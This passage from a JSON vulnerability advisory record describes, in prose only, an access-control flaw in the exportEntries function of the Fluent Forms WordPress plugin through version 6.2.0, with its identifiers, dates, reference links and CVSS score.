    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T07:16:20Z",
    "severity": "HIGH"
  },
  "details": "The Fluent Forms \u2013 Customizable Contact Forms, Survey, Quiz, \u0026 Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.2.0 via the exportEntries function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Fluent Forms manager-level access and above, to bypass form-level access restrictions to access submissions from forms they are not authorized to view, export data from arbitrary database tables, and enumerate database table names via error message disclosure.",
  "id": "GHSA-2q4q-jqhc-8rg8",
  "modified": "2026-05-14T09:31:28Z",
  "published": "2026-05-14T09:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3507987/fluentform/trunk/app/Services/Transfer/TransferService.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9cd12b8a-2033-4236-abcd-2a8d08e7f099?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}